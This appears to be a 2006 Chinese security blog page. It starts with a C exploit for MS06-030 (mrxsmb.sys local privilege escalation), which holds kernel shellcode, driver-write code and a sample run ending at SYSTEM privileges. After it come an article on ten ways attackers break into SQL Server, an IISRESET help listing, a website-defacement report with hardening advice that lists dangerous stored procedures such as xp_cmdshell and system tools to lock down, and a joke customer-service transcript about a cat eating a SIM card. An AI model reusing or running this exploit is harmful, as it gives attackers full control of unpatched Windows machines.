"\x1c\x03\xdd\x8b\x04\x8b\x03\xc5\xab\x5e\x59\xc3\xe8\x37\xff\xff"
"\xff\x90\x90\x90"

"\x90\xcc\xcc\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\xcc\x90\x90\xcc";

void ErrorQuit(char *msg)
{
printf("%s:%d\n", msg, GetLastError());
ExitProcess(0);
}

ULONG RVA2Offset(ULONG RVA, PIMAGE_SECTION_HEADER pSectionHeader, ULONG Sections)

ULONG i;

if(RVA < pSectionHeader[0].PointerToRawData)
return RVA;

for(i = 0; i < Sections; i++)

if(RVA >= pSectionHeader[i].VirtualAddress &&
RVA < pSectionHeader[i].VirtualAddress + pSectionHeader[i].SizeOfRawData) 
return (RVA - pSectionHeader[i].VirtualAddress + pSectionHeader[i].PointerToRawData);
}

return 0;
}

ULONG Offset2RVA(ULONG Offset, PIMAGE_SECTION_HEADER pSectionHeader, ULONG Sections)

ULONG i;

if(Offset < pSectionHeader[0].PointerToRawData)
return Offset;

for(i = 0; i < Sections; i++)
{
if(Offset >= pSectionHeader[i].PointerToRawData &&
Offset < pSectionHeader[i].PointerToRawData + pSectionHeader[i].SizeOfRawData)
return (Offset - pSectionHeader[i].PointerToRawData + pSectionHeader[i].VirtualAddress);
}

return 0;
}

void GetFunction()
{
HANDLE hNtdll;

hNtdll = LoadLibrary("ntdll.dll");
if(hNtdll == NULL)
ErrorQuit("LoadLibrary failed.\n");

ZwVdmControl = (ZWVDMCONTROL)GetProcAddress(hNtdll, "ZwVdmControl");
if(ZwVdmControl == NULL)
ErrorQuit("GetProcAddress failed.\n");

ZwQueryInformationProcess = (ZWQUERYINFORMATIONPROCESS)GetProcAddress(hNtdll, "ZwQueryInformationProcess");
if(ZwQueryInformationProcess == NULL)
ErrorQuit("GetProcAddress failed.\n");

ZwQuerySystemInformation = (ZWQUERYSYSTEMINFORMATION)GetProcAddress(hNtdll, "ZwQuerySystemInformation");
if(ZwQuerySystemInformation == NULL)
ErrorQuit("GetProcessAddress failed.\n");

FreeLibrary(hNtdll);
}

ULONG ComputeHash(char *ch)
{
ULONG ret = 0;

while(*ch)
{
ret = ((ret << 25) | (ret >> 7)) + *ch++;
}

return ret;
}

ULONG GetKernelBase()
{
ULONG i, Byte, ModuleCount;
PVOID pBuffer;
PSYSTEM_MODULE_INFORMATION pSystemModuleInformation;
PCHAR pName;

ZwQuerySystemInformation(SystemModuleInformation, (PVOID)&Byte, 0, &Byte);

if((pBuffer = malloc(Byte)) == NULL)
ErrorQuit("malloc failed.\n");

if(ZwQuerySystemInformation(SystemModuleInformation, pBuffer, Byte, &Byte))
ErrorQuit("ZwQuerySystemInformation failed\n");

ModuleCount = *(PULONG)pBuffer;
pSystemModuleInformation = (PSYSTEM_MODULE_INFORMATION)((PUCHAR)pBuffer + sizeof(ULONG));
for(i = 0; i < ModuleCount; i++)
{
if((pName = strstr(pSystemModuleInformation->ImageName, "ntoskrnl.exe")) != NULL)
{
free(pBuffer); 
return (ULONG)pSystemModuleInformation->Base;
}

pSystemModuleInformation++;
}

free(pBuffer);
return 0;
}

int main(int argc, char *argv[])
{
PVOID pDrivers[256];
PULONG pStoreBuffer, pNamesArray, pFunctionsArray, pShellcode;
PUCHAR pRestoreBuffer, pBase;
PCHAR pName;
PUSHORT pOrdinals;
PIMAGE_NT_HEADERS pHeader;
PIMAGE_EXPORT_DIRECTORY pExport;
PIMAGE_SECTION_HEADER pSectionHeader;
PROCESS_BASIC_INFORMATION pbi;
SYSTEM_MODULE_INFORMATION smi;
OSVERSIONINFO ovi;
char DriverName[256];
ULONG Byte, FileSize, len, i, j, k, BaseAddress, Value, KernelBase, buf[64], HookAddress, SystemId, TokenOffset, Sections;
USHORT index;
HANDLE hDevice, hFile;

printf("\n MS06-030 Windows Kernel Mrxsmb.sys Local Privilege Escalation Vulnerability Exploit \n\n");
printf("\t
 create by SoBeIt. \n\n");
if(argc != 1)
{
printf(" Usage:%s \n\n", argv[0]);
return 1;
}

GetFunction();

if(ZwQueryInformationProcess(GetCurrentProcess(), ProcessBasicInformation, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL))
ErrorQuit("ZwQueryInformationProcess failed\n");

KernelBase = GetKernelBase();
if(!KernelBase)
ErrorQuit("Unable to get kernel base address.\n");

printf("Kernel base address: %x\n", KernelBase);

ovi.dwOSVersionInfoSize = sizeof(OSVERSIONINFO);

if(!GetVersionEx(&ovi))
ErrorQuit("GetVersionEx failed.\n");

if(ovi.dwMajorVersion != 5)
ErrorQuit("Not Windows NT family OS.\n");

printf("Major Version:%d Minor Version:%d\n", ovi.dwMajorVersion, ovi.dwMinorVersion);
switch(ovi.dwMinorVersion)
{
case 0: //Windows2000
SystemId = 8;
TokenOffset = 0x12c;
break;

case 1: //WindowsXP
SystemId = 4;
TokenOffset = 0xc8;
break;

case 2: //Windows2003
SystemId = 4;
TokenOffset = 0xc8;
break;

default:
SystemId = 8;
TokenOffset = 0xc8;
}

pRestoreBuffer = malloc(0x100);
if(pRestoreBuffer == NULL)
ErrorQuit("malloc failed.\n");

if(!EnumDeviceDrivers(pDrivers, sizeof(pDrivers), &Byte))
ErrorQuit("EnumDeviceDrivers failed.\n");

for(i = 0; i < (Byte / sizeof(PVOID)); i++)
{
if(!GetDeviceDriverBaseName(pDrivers[i], DriverName, sizeof(DriverName)))
ErrorQuit("GetDeviceDriverBaseName failed.\n");

if(!strnicmp(DriverName, "mrxsmb.sys", 10))
{
BaseAddress = (ULONG)pDrivers[i];
printf("Mrxsmb.sys Base Address:%x\n", BaseAddress);
break;
}
}

if(!BaseAddress)
ErrorQuit("No address of mrxsmb.sys has been found.\n");

pStoreBuffer = (PULONG)VirtualAlloc(NULL, 0x1001000, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if(pStoreBuffer == NULL)
ErrorQuit("VirtualAlloc failed.\n");

printf("Allocated address:%x\n", pStoreBuffer);
// \device\LanmanRedirector
hDevice = createFile("\\\\.\\Shadow", FILE_EXECUTE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, 0, NULL);
if(hDevice == INVALID_HANDLE_VALUE)
ErrorQuit("createFile failed.\n");

if(!GetSystemDirectory((PUCHAR)pStoreBuffer, 256))
ErrorQuit("GetSystemDirectory failed.\n");

strcat((PUCHAR)pStoreBuffer, "\\ntoskrnl.exe");
hFile = createFile((PUCHAR)pStoreBuffer, GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if(hFile == INVALID_HANDLE_VALUE)
{
hFile = createFile("ntoskrnl.exe", GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if(hFile == INVALID_HANDLE_VALUE)
ErrorQuit("createFile failed.\n");
}

if((FileSize = GetFileSize(hFile, NULL)) == 0xffffffff)
ErrorQuit("GetFileSize failed.\n");

printf("File size:%x\n", FileSize);
pBase = (PUCHAR)VirtualAlloc(NULL, FileSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if(pBase == NULL)
ErrorQuit("VirtualAlloc failed.\n");

if(!ReadFile(hFile, pBase, FileSize, &Byte, NULL))
ErrorQuit("ReadFile failed.\n");

pHeader = (PIMAGE_NT_HEADERS)(pBase + ((PIMAGE_DOS_HEADER)pBase)->e_lfanew);
pSectionHeader = (PIMAGE_SECTION_HEADER)((PUCHAR)(&pHeader->OptionalHeader) + pHeader->FileHeader.SizeOfOptionalHeader);
Sections= pHeader->FileHeader.NumberOfSections;

pExport = (PIMAGE_EXPORT_DIRECTORY)(pBase + 
RVA2Offset(pHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress,
pSectionHeader,
Sections
));

pNamesArray = (PULONG)(pBase + 
RVA2Offset(pExport->AddressOfNames,
pSectionHeader,
Sections));

pFunctionsArray = (PULONG)(pBase + 
RVA2Offset(pExport->AddressOfFunctions,
pSectionHeader,
Sections));

pOrdinals = (PUSHORT)(pBase + 
RVA2Offset(pExport->AddressOfNameOrdinals,
pSectionHeader,
Sections));

len = strlen("NtVdmControl");
for(i = 0; i < pExport->NumberOfNames; i++)
{
pName = pBase + RVA2Offset(pNamesArray[i], pSectionHeader, Sections);
if(!strncmp(pName, "NtVdmControl", len))
break;
}

if(i > pExport->NumberOfFunctions)
ErrorQuit("Some error occured.\n");

index = pOrdinals[i]; 
HookAddress = pFunctionsArray[index] + KernelBase;
printf("%s Address:%x\n", pName, HookAddress);
memcpy(pRestoreBuffer, pBase + pFunctionsArray[index], 0x20);

pShellcode = (PULONG)shellcode;
for(k = 0; pShellcode[k++] != 0x90cccc90; )
;

for(j = 0; kfunctions[j][0] != '\x0'; j++)
buf[j] = ComputeHash(kfunctions[j]);

buf[j++] = pbi.InheritedFromUniqueProcessId;
buf[j++] = SystemId;
buf[j++] = (ULONG)pRestoreBuffer;
buf[j++] = HookAddress;
buf[j++] = 0x20;
buf[j++] = TokenOffset;

memcpy((char *)(pShellcode + k), (char *)buf, j * 4);

hDevice = createFile("\\\\.\\Shadow", FILE_EXECUTE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, 0, NULL);
if(hDevice == INVALID_HANDLE_VALUE)
ErrorQuit("createFile failed.\n");

Value = (0xe9 << 8) & 0xff00;
printf("Need value: %x\n", Value);

while((pStoreBuffer[3] & 0xff00) != Value)

memset(pStoreBuffer, 0, 0x18);

if(!DeviceIoControl(hDevice, 0x141043, pStoreBuffer, 0x2, pStoreBuffer, 0x18, &Byte, NULL))
ErrorQuit("DeviceIoControl failed.\n");

printf("\rValue:%x", pStoreBuffer[3]);
}

printf("\n");

memset(pStoreBuffer, 0, 0x18);
if(!DeviceIoControl(hDevice, 0x141043, pStoreBuffer, 0x2, (PVOID)(HookAddress - 0xC - 1), 0x18, &Byte, NULL))
ErrorQuit("DeviceIoControl failed.\n");

Value = (((ULONG)pStoreBuffer + 0x800000 - HookAddress) >> 16) & 0xfff0;
printf("Need value: %x\n", Value);

while((pStoreBuffer[3] & 0xfff0) != Value)
{
memset(pStoreBuffer, 0, 0x18);

if(!DeviceIoControl(hDevice, 0x141043, pStoreBuffer, 0x2, pStoreBuffer, 0x18, &Byte, NULL))
ErrorQuit("DeviceIoControl failed.\n");

printf("\rValue:%x", pStoreBuffer[3]);
}

printf("\n");

if(!DeviceIoControl(hDevice, 0x141043, pStoreBuffer, 0x2, (PVOID)(HookAddress - 0xC + 3), 0x18, &Byte, NULL))
ErrorQu
it("DeviceIoControl failed.\n");

memset(pStoreBuffer, 0x90, 0x1001000);
memcpy((PUCHAR)pStoreBuffer + 0x1000000, shellcode, sizeof(shellcode));

CloseHandle(hDevice);
CloseHandle(hFile);

printf("Exploitation finished.\n");
ZwVdmControl(0, NULL);

return 1;
}


Usage:

Microsoft Windows XP [版本 5.1.2600]
(C) 版权所有 1985-2001 Microsoft Corp.

C:\>ms06-030

MS06-030 Windows Kernel Mrxsmb.sys Local Privilege Escalation Vulnerability Exp
loit

create by SoBeIt.

Kernel base address: 804d8000
Major Version:5 Minor Version:1
Mrxsmb.sys Base Address:f596e000
Allocated address:420000
File size:214600
NtVdmControl Address:805bab48
Need value: e900
Value:e900
Need value: 8060
Value:18060
Exploitation finished.

C:\>whoami
NT AUTHORITY\SYSTEM

C:\>

分类: 矩阵毒刺 标签:

黑客攻破SQL服务器系统十种方法

2006年9月25日 没有评论 58 views

无论是使用手工试探还是使用安全测试工具,恶意攻击者总是使用各种诡计从你的防火墙内部和外部攻破你的SQL服务器系统。既然黑客在做这样的事情。你也需要实施同样的攻击来检验你的系统的安全实力。这是理所当然的。下面是黑客访问和攻破运行SQL服务器的系统的十种诡计。

1.通过互联网直接连接

  这些连接可以用来攻击没有防火墙保护、全世界都可以看到和访问的SQL服务器。DShield公司的端口报告显示了有多少系统在那里等待遭受攻击。我不理解允许从互联网直接访问这种重要的服务器的理由是什么。但是,我在我的评估中仍发现了这种安全漏洞。我们都记得SQL Slammer蠕虫对那样多的有漏洞的SQL服务器系统造成的影响。而且,这些直接的攻击能够导致拒绝服务攻击、缓存溢出和其它攻击。

  2.安全漏洞扫描

  安全漏洞扫描通常可以基本的

操作系统、网络应用程序或者数据库系统本身的弱点。从没有使用SQL安全补丁、互联网信息服务(IIS)设置弱点到SNMP(简单网络管理协议)漏洞等任何事情都能够被攻击者发现,并且导致数据库被攻破。这些坏蛋也需使用开源软件、自己制作的工具软件或者商业性工具软件。有些技术高手甚至能够在命令提示符下实施手工黑客攻击。为了节省时间,我建议使用商业性的安全漏洞评估工具,如Qualys公司的QualysGuard(用于普通扫描)、SPI Dynamics公司的WebInspect(用于网络应用程序扫描)和下一代安全软件公司的“NGSSquirrel for SQL Server”(用于数据库扫描)。这些工具软件很容易使用,提供了最广泛的评估,并且可以提供最佳的结果。

  3.列举SQL服务器解析服务

  在UDP端口1434上运行,这能让你发现隐蔽的数据库实例和更深入地探查这个系统。Chip Andrews的“SQLPing v 2.5”是一个极好的工具,可用来查看SQL服务器系统并且确定版本编号。你的数据库实例即使不监听这个默认的端口,这个工具软件也能发挥作用。此外,当过分长的SQL服务器请求发送到UDP端口1434的广播地址的时候,会出现缓存溢出问题。

  4.破解SA口令

  攻击者还可以通过破解SA口令的方法进入SQL服务器数据库。遗憾的是,在许多情况下不需要破解口令,因为没有分配口令。因此,可以使用上面提到的一种小工具SQLPing。Application安全公司的AppDetective和NGS软件公司的NGSSQLCrack等商业性工具软件也有这种功能。

  5.直接利用安全漏洞攻击

  使用Metasploit等工具软件可以直接实施攻击。这种软件的商业性软件“CANVAS”和“CORE IMPACT”等能够利用在正常的安全漏洞扫描过程中发现的安全漏洞实施攻击。这是非常有效的攻击手段,攻击者可利用这种手段突破系统、从事代码注入或者取得非经授权的命令行访问权限。

  6.SQL注入

  SQL注入攻击可以通过没有正确验证用户输入的前端网络应用程序实施。包括SQL指令在内的异常的SQL查询可以直接注入到网络URL(统一资源定位符)中,并且返回一些错误通知,执行一些指令等等。如果你有时间的话,这些攻击可以手工实施。我一旦发现一个服务器有一个潜在的SQL注入安全漏洞,我喜欢使用一种自动的工具深入研究这个漏洞。这些工具包括SPI Dynamics公司的SQL注入器等。

  7.SQL盲注攻击

  这些攻击以标准的SQL注入攻击相同的基本方式利用网络应用程序和后端SQL服务器的安全漏洞。最大的区别是攻击者收不到以错误通知形式从网络服务器发回的信息。这种攻击由于涉及到猜口令,速度要比标准的SQL注入攻击慢一些。在这种情况下,你需要一种比较好的工具。那就是Absinthe工具。

  8.对系统实施逆向工程

  逆向工程的方法可以查找软件的安全漏洞和内存损坏弱点等漏洞。在利用软件安全漏洞方面,可以参考Greg Hoglund和Gary McGraw合著的“如何破解代码”一书,你可以发现有关逆向工程方法的一些讨论。

  9.Google hacks

  Google hacks利用Google搜索引擎不同寻常的力量搜出可公开访问的系统泄漏出来的SQL服务器的错误,如“Incorrect syntax near”(附近语法错误)。Johnny Long编写的“Google Hacking Database”数据库中一些Google的查询项目。(查看错误信息和包含口令的文件部分)。黑客能够使用Google找到口令、网络服务器中的安全漏洞、基本的操作系统、公开提供的程序以及其它能够用来攻破SQL服务器系统的东西。通过Google网站的“site:”操作符把这些查询结合在一起同场可以发现你想不到能够找到的东西。

  10.熟读网站源代码

  源代码还能够暴露可能导致SQL服务器被攻破的信息。特别是开发人员为了简化身份识别过程把SQL服务器身份识别信息存储在ASP脚本中的情况下更是如此。手工评估或者Google能够在一瞬间就发现这个信息。

分类: 技术文章 标签:

IISRESET命令

2006年9月25日 没有评论 123 views

C:\> IISRESET /Reboot //即可将机器重启还有些其它参数,贴在这里供大家参考:

IISRESET.EXE (C) Microsoft Corp. 1998-1999

用法:

iisreset [computername] /RESTART 停止然后重新启动所有 Internet 服务。

/START 启动所有 Internet 服务。

/STOP 停止所有 Internet 服务。

/REBOOT 重新启动计算机。

/REBOOTONERROR 如果在启动、停止或重新启动 Internet 服务时出错,则重新启 动计算机。

/NOFORCE 如果试图正常停止服务失败,不强制终止 Internet 服务。

/TIMEOUT:val 指定等待 Internet 服务的成功停止的超时值(以秒为单位)。 如果已指定 REBOOTONERROR 参数,超时后可以重新启动计算机。 服务重新启动的默认值为 20 秒,停止为 60 秒,计算机重新启 动为 0 秒。

/STATUS 显示所有 Internet 服务的状态。

/ENABLE 启用本地系统上 Internet 服务的重新启动。

/DISABLE 禁用本地系统上 Internet 服务的重新启动。

分类: 技术文章 标签:

中国被黑站点统计系统 2006年9月分析报告

2006年9月24日 没有评论 51 views

中国被黑站点统计系统 2006年9月分析报告
[ Zone-H.Com.Cn ] Analytical report in September 2006

来源:中国被黑站点统计系统[http://www.zone-h.com.cn]
amxku[amxku_at_msn.com]
自在轮回[zizailunhui_at_msn.com]
wayking[wayking_at_hotmail.com]
目录
0- 总述
1- 分析
2- 相关防护
3- 总结

0- 总述

根据我们对中国被黑站点统计系统所有数据的分析,截至2006年9月19日0时,被篡改网站数量已达13000多个(其中有很多网站是多次被篡改),平均每天约有25个站点被篡改且被举报;又据CNCERT/CC(国家计算机网络应急技术处理协调中心)统计,2006年3月,全球被篡改网站数量超过3万个,平均每1.5分钟,就有一个网站被篡改…… 这些数目不是危言耸听。
网站篡改就发生在我们身边:
2006年03月12日,河北省政府采购网被篡改;
2006年03月18日,广州外事办网被篡改;
2006年03月11日,洛阳大学网站被篡改;
2006年04月13日,大冶政府网被篡改;
2006年04月10日,搜狐CS站被篡改;
2006年05月09日,网易社区被篡改;
2006年07月03日,雅虎中国被篡改;
2006年07月03日,163竟价广告联盟被篡改;
2006年07月11日,网易2006 世界杯足球公园被篡改;
2006年07月22日,天津中医药大学网站被篡改;
2006年09月14日,TCL通讯科技控股有限公司网站被篡改;
2006年09月16日,蒙牛、伊利两大国内牛奶集团官方网站被篡改;
…………
其间,国内有多个网络安全站点、组织也难逃厄运。被篡改的网站多为政府、学校、信息综合门户、知名企业等影响力高、受众面广的网站……,且不论黑客攻击的动机,仅在后果上,这些网站可谓遭遇了不同程度的尴尬。在众多被篡改的网站中,政府网站成了重灾区。在今年召开的中国计算机网络安全应急年会上,国家计算机网络应急技术处理协调中心副总工程师杜跃进博士谈到,“根据中心统计,网页篡改去年在大陆发生13000多次,其中六分之一攻击对象是政府网站,对电子政务构成严重威胁” 。频频发生的攻击能否给政府网站网络安全敲响一次“警钟”。

1- 分析

经过对统计数据的分析,对被篡改的主要原因做以下诠释:
1、网站脚本程序安全问题;
2、服务器设置问题;
3、社会工程学;
4、不可预见的问题。

网站脚本程序安全问题
网站脚本程序安全问题,网站管理员对脚本程序没有做任何处理,表现在网站的默认数据库,默认管理帐号,如admin,root,manager等
网站程序设计存在安全问题,网站程序设计者在编写时,对相关的安全问题,没有做适当的处理,诸如SQL注入,上传,跨站等。
服务器设置问题
服务器设置问题导致被入侵,如系统安装优化与补丁,0day,策略问题,权限,Serv-U,SQL Server,PCangwhere 等相关设置。

社会工程学
现在管理员素质参差不齐,作好对员工自身素质的培训与内部协调,培养员工的保密意识和安全意识。制订完善的保密制度和保密机制,对不同级别的信息保密级别,设置不同的保密应急机制。

不可预见的问题
未知漏洞,本人能力有限,对此不做描述。

2- 相关防护

1. 系统问题
对于系统设置方面这里不做过多介绍。
补丁问题,这个是比较重要的问题,一般服务器需要开的服务,排除第三个程序,关闭不用的一些服务。微软的自动更新功能,另外有一个重要的地方就是,微软的补丁只不是一处,还有很多管理员经常忽略某些方面,比如OFFICE等等,几年前的溢出,时至今日还依然有效。这里不得不提醒一下管理员,想问题要从总体上来考虑,不要局限于某个细节,有个全局观。

2. 策略问题

这里包括密码策略,账户策略等等。这里对于密码,可以采用策略,密码定期更改,密码长度限制,更改默认的用户组等等。同时采用TCP/IP策略对没有端口进行限制,还有IPSEC对特定端口进行身份验证。
一般情况下,比较好的方法是对外只开两个端口,一个是80端口,一个是代理端口。代理端口加上高强度的密码,对于FTP,其它等端口,可以采用连接上代理后,用SockCap等工具来连接;对于Serv-U可以更改本地密码,端口,改更启动权限等。这样可以一定程度上防范一些来自0day的攻击,如Serv-U溢出等。当然,这里所谓的策略并不只是这么几个,需要管理员灵活利用。
设置屏幕保护密码,很简单也很有必要,设置屏幕保护密码也是防止内部人员破坏服务器的一个屏障。注意不要使用OpenGL和一些复杂的屏幕保护程序,浪费系统资源,让他黑屏就可以了。还有一点,所有系统用户所使用的机器也最好加上屏幕保护密码。
系统所能提供的安全机制,对于防范系统有着很重要的意义。

3. 权限问题

一个是目录权限问题,一个是系统自带的程序权限问题。
目录权限,要注意的是系统盘有些默认是执行权限的,所以需要设置成没有执行权限。程序主要是对cmd.exe,cacls.exe,ftp.exe,net.exe,net1.exe,tftp.exe,tftpd.exe,cscript.exe……等等,所以可能用到的东西都进行设置,另外要注意完整性,例如net.exe,最好用dir /s net*.exe,系统自带的有好多个,如果你只限制一个的话,其它的照样可以用,这样一来还是会影响到系统的安全。具体设置请参见相关的文档。
SQL Server 可以删除一些危险的内置存储过程; 以下列出危险的内置存储过程:
xp_cmdshell
xp_regaddmultistring
xp_regdeletekey
xp_regdeletevalue
xp_regenumkeys
xp_regenumvalues
xp_regread
xp_regremovemultistring
xp_regwrite
ActiveX自动脚本:
sp_OACreate
sp_OADestroy
sp_OAMethod
sp_OAGetProperty
sp_OASetProperty
sp_OAGetErrorInfo
sp_OAStop
限制SQL用户的权限,防止被列目录 等。

4. WEB安全问题

为每个站点设置单独的启动用户,删除不常用到的ISAPI的类型,采用iis防火墙做相关的限制等。
常见的攻击,诸如注入,暴库这类问题,可以在每个网页写个发邮件的脚本,当有出现500,403错误时,自动向管理员信箱里放送一封邮件,这样可以有针对性的对寻找对应网页,目录等启到一定的防护,同时对一些常见的页面,采用屏换的方式,这样一来可以解决一些来自暴力破解和注射时提供的一些敏感信息。
不要忽略了默认数据库等这类低级错误。
对于SQL注入可以加防注入系统,过滤特殊字符等,可以起到一定的防护作用。
跨站相关防护处理,转义相关字符,如
A
SP
str=replace(str,"&","&")
str=replace(str,":",":")
str=replace(str,"=","=")
str=replace(str,"< ","<")
str=replace(str,">",">")
str=replace(str," "," ")
str=Replace(Str,"""",""")
PHP
str_replace("\n", "
", $content);
str_replace("\t", "    ", $content);
str_replace("", "", $content);
str_replace("< ","<", $content);
str_replace(">",">", $content);
str_replace("\t", '    ', $content);
str_replace("chr(10)","", $content);
………………
对于后台最好做身份限制,另外对上传目录做没有执行权限设置,这里要注意的就是不要忽略了其它脚本语言的支持,对于Access数据库,我们建议,把数据库放在web根目录的上方,这样,即使插了马也没法提交shell。
对于web还有一个比较重要的地方就是对组件的选择性控制,FSO,Shell.Application等组件,可以采用选择性的删除或改名,例如FSO,如果不是虚拟机的话,个人认为可以选择删掉。
如果是PHP的站点的话,在条件允许的情况下,开启安全模式。
总之,要根据具体情况而定,管理员可以随机应变。

5. 0day的攻击

对于0day的攻击,目前来说我们能做的东西很少,可以选择采用监控的方式来对系统进行控制,对于日志文件,请不要给于删除的权限,这样可以从一定程度上得到被入侵后的相关信息,以便日后追击入侵者等。

6. ARP(地址转发协议)欺骗

利用协议的不足,在交换网络的混杂模式下,通过嗅探可以到一些很重要的数据,诸如明文的SQL Server密码,http数据包,SMTP,FTP等等。通常我们可以采用将MAC卡和IP绑定,但是在真实网络环境,有好多管理员并没有把mac卡和ip真正绑定好。或改用HTTPS方式访问,可以对ARP欺骗启到一定的限制。详情可以参考相关文档。

7. 社会工程学、钓鱼

举一个例子(此例来源linzi[B.C.T])说明:
有一天有一个人收到了一个信息,说他中了QQ的大奖,将一个QQ号1234567,密码是1234567,然后叫中奖者速修改密码,从这里,如果我是中奖者一般不会怀疑什么,因为他没有从我身上得到些什么,但,当中奖者把密码改完后,发现自己QQ被盗了,究其原因,钓鱼者利用了,很多人的一个弱点,就是使用同一个密码的习惯,当中奖者将密码改完后,钓鱼者去官方去查改后的密码,再用改后的密码去试中奖者的QQ,成功的话,用户的很多隐私被窃取,虚拟财产受侵犯.当然现在的QQ没法查改后的密码,我这里主要是提出一种思路.转到社工,问问你自己,是否在很多论谈使用差不多相同的ID,是否密码只有三个以内,你的ID是不是可以被google搜出来,攻击者可以攻入你注册过的站点,收集到你一定的密码档,然后,通过已收集的资料,做成一个字典,再对你进行暴破.个人建议自己的密码最好能弄进算法,个个密码都做到不同,这样一来,不只是对自己的隐私起保护作用,同时也保护了站点,域等的安全性。

3 总结
这里我们可以看出很多的安全问题,都出于管理员对网络安全没有深入的认识。
建议网站管理员,多关注网络安全相关动态,了解入侵者常用的入侵手段,以做好即时防护措施,把风险降到最低。
这里我们只是对当前统计得到的数据做了简单的分析,并不通用,具体情况及实施办法请参见相关技术文档。

由于本人的水平有限,有不妥之处还望斧正。

分类: 资源共享 标签: ,

当您家的猫吃了移动的SIM卡之后

2006年9月24日 没有评论 84 views
 
 
 
 

机主:你好,我想咨询一个问题啊。
客服人员:请讲。
机主:我有一张卡,被我家猫给吃了,拿出来能不能用啊?
客服人员:那你只能是插在手机上试一下,如果不行的话那只能去营业厅换卡了
机主:不是啊,你得实现告诉我能不能用,能用的话我就把我家猫宰了拿卡,你要
不能用的话把我家猫宰了拿卡浪费我家一只猫你说是吧
客服人员:你好,那这样的话你还是不要宰它了,那你就拿上你的身份证去移动营业
厅补办一张卡就可以了
机主:可是我那张卡150办的,我家那只猫才35买的啊
客服人员:可是您补一张卡才40块钱
机主:补卡?
客服人员:对,号不变
机主:号不变?
客服人员:对,就去移动营业厅,拿上您的身份证。再补原来那个号就可以,重新换一
张卡,那这张卡就不能用了
机主:那我家那猫会不会有什么不良反应啊?
客服人员:您好,那这个我就不太清楚了,那需要您领猫去看病了
机主:那猫会不会有什么事啊?
客服人员:您好,您现在拔打的是1860手机业务咨询台,至于猫怎么样,咱们这边给
您处理不了的
机主:我家那个猫它叫M-ZONE人
客服人员:对,那也不行的
机主:咋不行啊,我都给它取了动感地带了给它
客服人员:它叫周杰伦也是没有办法处理的了,那只能是您自己来,去看一下的了,
那你,那你卡出现问题了,我们移动,我们移动和1860可以帮你解决,只有
猫具体怎样的话我们肯定是没有办法帮你解决的。
机主:问题它吃的是移动的卡
客服人员:你好,请问你觉得这样有意义吗?
机主:不是,我就是特奇怪你到底是啥意思
客服人员:你好,我没有什么意思的。那您觉得你有什么意思吗?那您是觉得这个
猫……咳咳
机主:别着急,慢慢说,你要不要喝口水
客服人员:你好,你那个猫我们这边肯定是为您处理不了的了
机主:我知道,我就是想让你给我点建议,怎么处理啊
客服人员:你好,我现在告诉你的就是可以拿上你的身份证去移动营业厅办理补卡
就可以了
机主:那然后呢?得考虑猫的呀
客服人员:那猫就没有办法了
机主:怎么没有办法,是人命啊一条
客服人员:你好,那我这边是帮不了您了,你带上你的猫去宠物医院看病什么的,
那就是您自己来处理的事情了
机主:要不你把周杰伦电话号码给我,我给他打电话
客服人员:你好,你觉得1860会有他的电话号码吗?
机主:你们不是合作伙伴吗?
客服人员:那我们这边也没有他的电话的
机主:肯定有
客服人员:你好,很抱歉,没有
机主:骗人的,你长这么漂亮的姑娘还骗人呢
客服人员:你好,请问你还有其他业务要咨询吗?
机主:有
客服人员:请讲
机主:我那个猫怎么办啊?
客服人员:你好,先生你如果重复来问我这个问题的话现在我没有办法来回答你的
机主:那我就不重复了,那我那张卡怎么办哪?
客服人员:请你到营业厅办理补卡就可以的
机主:拿猫去解剖拿出卡来啊?
客服人员:你好,你觉得这样可能吗?移动营业厅的工作人员会这样为您来做吗?
机主:那你说咋样啊,我现在着急啊,第一我那卡是用不到了,第二是怕猫噎死
客服人员:你好,那这样的话……
机主:你不要老是你好你好,你就喂喂喂就行了,我听着怪不好意思的
客服人员:为了表示尊敬,我们不能这样来说的
机主:我这一烂人,你不用尊敬我。没事,说
客服人员:没有别的办法,如果你没有其他业务要咨询的话请您挂线
机主:你,你还让我挂线?你们这什么服务态度
客服人员:你好,我这是该说的都给您说到了……
机主:我觉得这完全是你们的责任,谁叫你们那卡做得那么漂亮,猫要吃了那卡是吧
客服人员:那您没有看管好猫,您可以把猫看管好,那它要吃了别的东西呢?我们都
能处理吗?
机主:别的东西都没那张卡漂亮你知道吧。谁叫你们卡做那么漂亮拉?都怪你们??
客服人员:你好,先生,我希望你不要再和我谈论这种事情了好吗?
机主:那你谈一下,现在就这个问题啊,其他问题我也不找你是吧?问题就是你们那
张卡太漂亮了,我们家那只猫就看中它了,一不小心就吃进去了。
客服人员:无论您去哪里,无论你去哪个营业厅,有营业厅能帮你解决这种问题吗?
机主:营业厅能解决了我就不打电话了,就是营业厅不能解决了我才打电话找你这位
声音特别磁性的女士来回答我的嘛
客服人员:对啊,但是你那种问题1860肯定是给你解决不了
机主:你们解决不了问题还闹什么什么的
客服人员:你好,不是说我帮你解决不了,是您的这种问题我们没有办法来帮您解决
机主:你们就是想尽一切办法解决顾客问题的?你不解决顾客的问题,你不能说容易
的问题就解决了,那难的问题留给谁啊?让我打联通?不可能是吧。单、难、
复杂都得你们解决吧,我是你们的顾客,你们的消费者,就是你们的上帝吧,
你现在连自己上帝都不忠诚了,你还要咋的?
客服人员:你好,首先的话咱们解决问题的话……
机主:不要再说你好了拜托
客服人员:我们解决问题的话是有一个度的是吧,那你现在这个问题的话就不属于我
们的范围了,我们可以不帮你来解决的
机主:你们那个规章制度上没写着不解决猫吃卡的问题是吧?
客服人员:对啊
机主:这不就对了,你要写了我就不找了是吧,你没写你就得帮我解决了对吧
客服人员:那您带上您的猫去一趟营业厅
